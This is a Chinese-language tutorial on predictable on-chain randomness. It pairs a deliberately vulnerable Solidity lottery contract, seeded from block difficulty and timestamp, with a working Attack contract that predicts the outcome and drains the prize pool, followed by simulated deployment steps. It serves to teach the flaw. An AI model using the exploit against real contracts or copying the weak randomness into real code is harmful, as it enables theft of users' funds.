GeneratingRandomness随机数攻击

随机数攻击

区块链中的随机数大部分时使用链上的信息(例如区块时间戳、区块难度或者未来区块哈希等等)作为随机数种子来生成随机数,但是区块链桑的信息时公开透明的,一旦被发现作为随机数种子的信息与生成随机数的算法后,攻击者就能利用这些信息对合约生成的随机数进行预测,以此进行攻击.

合约解析

pragma solidity ^0.8.0;

// 漏洞合约
contract Random {
event Log(string);
mapping (uint256 => bool) tokenId_luckys;

// 生成随机数确定是否中奖,如果中奖则转账给中奖者
function mint() public payable {
//......
// 获取随机数,确定是否中奖
bool randLucky = _getRandom();
uint256 token_Id = _totalMinted();

tokenId_luckys[token_Id] = randLucky;
if (tokenId_luckys[token_Id] == true){
/*
// 原始代码:中奖逻辑,中奖者奖励1.9倍
require(payable(msg.sender).send((price * 190) / 100));
require(payable(widthdrawAddress).send((price * 10) / 100));
*/

// 测试代码
bool ok = payable(msg.sender).send(1 ether);
if ( !ok ){
}
}
}

function _getRandom() private view returns(bool){
// 漏洞代码!!!!!!
uint256 random = uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp)));

uint256 rand = random % 2;
if(rand == 0){
return false;
}
else {
return true;
}
}
// 查看奖池余额
function getBalance() external view returns(uint256) {
return address(this).balance;
}

function _totalMinted() private pure returns(uint256) {
return 1;
}

// 设置部署时可以转入 eth
constructor() payable{}
}

// 攻击合约
contract Attack {
event Log(string);

// 攻击目标合约,参数是目标合约地址
function attack(address _random) external payable {
for (;;) {
// 判断攻击目标合约的余额,如果小于 1 个 ether,表示取光,就返回
if (payable(_random).balance < 1) {
emit Log("succeeded getting eth");
return;
}
// 计算由当前区块的难度值和时间戳产生的哈希值,用作随机数
// 如果随机数是偶数,表示本区块不会中奖,先返回,等待下一个区块
if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) {
emit Log("failed to get rand, wait 10 seconds");
return;
}

// 如果随机数是奇数,表示已经中奖,那么立刻调用攻击目标的mint函数,获取奖励
(bool ok,) = _random.call(abi.encodeWithSignature("mint()"));
if( !ok ){
emit Log("failed to call mint()");
return;
}
}
}

// 查看获利余额
function getBalance() external view returns(uint256) {
return address(this).balance;
}

// 接收攻击获得的Eth
receive() external payable {}
}

​ 漏洞合约中,使用block.difficulty,block.timestamp即,区块的难度值和区块的时间戳,并且可知判断计算出来的随机数若为奇数则能返回true.

Attack合约中进行攻击时已经传入Random的合约地址,两个合约运行在同一个区块中,各种区块特征值都是一样的,于是可以先计算出随机值,判断是否为奇数,然后再调用Random合约的“抽奖函数”. 执行攻击时,有些区块的特征值计算出来并不符合条件,因此可能需要等待新的区块产生后再执行攻击.

模拟攻击

先部署Random合约,同时带上20个eth.

image-20230508163318709
image-20230508164823084

再部署Attack合约,不需要eth

image-20230508165052172

然后点击attack,执行攻击函数

image-20230508165626029

可以看到执行了几次才成功攻击.